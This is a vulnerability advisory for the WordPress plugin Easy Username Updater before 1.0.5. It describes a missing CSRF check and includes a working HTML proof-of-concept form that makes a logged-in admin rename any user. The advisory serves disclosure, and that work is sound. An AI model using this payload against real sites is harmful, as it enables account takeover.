WordPress Plugin Vulnerabilities
Easy Username Updater < 1.0.5 - Arbitrary Username Update via CSRF
Description
The plugin does not implement CSRF checks, which could allow attackers to make a logged in admin change any user's username includes the admin
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=eup_username_update&update=3" method="POST">
<input type="hidden" name="user_login" value="newusername" />
<input type="hidden" name="submit" value="Update Username" />
<input type="submit" value="Submit request" />
</form>
</body>
</html> Affects Plugins
Fixed in version 1.0.5
References
Classification
Miscellaneous
Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-07-18 (about 6 months ago)
Added
2022-07-18 (about 6 months ago)
Last Updated
2022-08-22 (about 5 months ago)